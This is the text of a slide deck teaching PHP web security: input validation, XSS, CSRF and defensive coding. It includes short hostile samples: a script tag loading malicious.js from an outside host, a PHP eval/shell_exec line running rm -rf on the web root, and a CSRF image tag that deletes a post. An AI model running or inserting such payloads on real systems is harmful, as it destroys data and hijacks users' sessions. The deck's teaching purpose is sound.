Presentation slide for Jaba IT

1. Web Security Never, ever, trust user inputs Supankar

2. What is Security?

4. why does security needs? Haha! Yes I know it. Its really a funny topic!!

6. Is it call security?

7. Security why? To prevent stealing important data To secure Personal Data / Credentials Compromising Access Privilege No Data Loss

8. Common Threats Cross-Site Scripting (XSS) Session Hijack Click Jacking Cross-site request forgery (XSRF) SQL Injection

9. Never, ever, trust user inputs

10. Input Validation Always use server side validation as client side (javascript) validation can easily be bypassed Use white-listed values Use built-in escape functions Validate for correct data types, like numbers

11. example supankar<script type="text/javascript" src="http://abcNews24.com/gps/malicious.js"></script>

12. Input Validation (Cont..) Don’t expect the return value from selections, radio buttons or check boxes of a form to be the ones you mentioned. So, always revalidate. Example: <input type="radio" name="gender" value="m" />Male <input type="radio" name="gender" value="f" />Female

13. Input Validation (Cont..) insert userinfo (gender) values($_POST[‘gender’]) Garbage <input type="radio" name="gender" value=“a" />Male <input type="radio" name="gender" value=“c" />Female

14. Input Validation (Cont..) Defensive Programming: $gender=‘m’; If ($_POST[‘gender’]==‘f’) $gender=‘f’;

17. PHP harmful functions eval("shell_exec(quot;rm -rf {$_SERVER['DOCUMENT_ROOT']}quot;);"); ini_set(), exec(),fopen(), popen(), passthru(), readfile(), file(), shell_exec() , system(),etc…

20. Error/warring Message

24. Giving the user more control over the browser

25. Detecting the user's browser, OS, screen size, etc.

26. Performing simple computations on the client side

27. Validating the user's input

28. Handling dates and time

30. It can also used for cookie hijacking so that a real user can be faked.

31. Always use htmlentities() function to output user-generated texts.

32. Limit the character set that can used for a particular text type

34. Yes, I am, because it is boring..

35. Lets have some fun…

36. Fun… Go to supankar.wordpress.com http://technotip.com/269/moving-image-javascript-small-fun-application/Develop

37. XSS – Preventing Sanitize User input properly Check Character Encoding Double check before printing GET values from URL

38. MVC? Is it secure?

39. Cross-site request forgery(XSRF) Using user’s logged in session to manipulate http://example.com/admin/delete/post/1

40. Cross-site request forgery(XSRF) cont.. User A has a post with ID 112

41. Cross-site request forgery(XSRF) cont.. User B Posted on his blog <img src=‘/admin/delete/post/112’/> No Effect for User B

42. Cross-site request forgery(XSRF) cont.. User A visits User B’s blog <img src=‘/admin/delete/post/112’/> Delete’s User A’s post with ID 112

43. XSRF Prevention Use POST Check for the presence of some sort of valid submission

44. I have more important tasks please leave me now…

45. Ok, Ok, Just Summery Use common sense Always check user input No direct user input at sql query Disable the error/warring messages at the production time Always try to use defensive programming technique Update your scripts to the latest versions

47. http://shiflett.org/

49. <?php echo “Question”; ?>

50. An ounce of prevention is worth a pound of cure -> Benjamin Franklin Thanks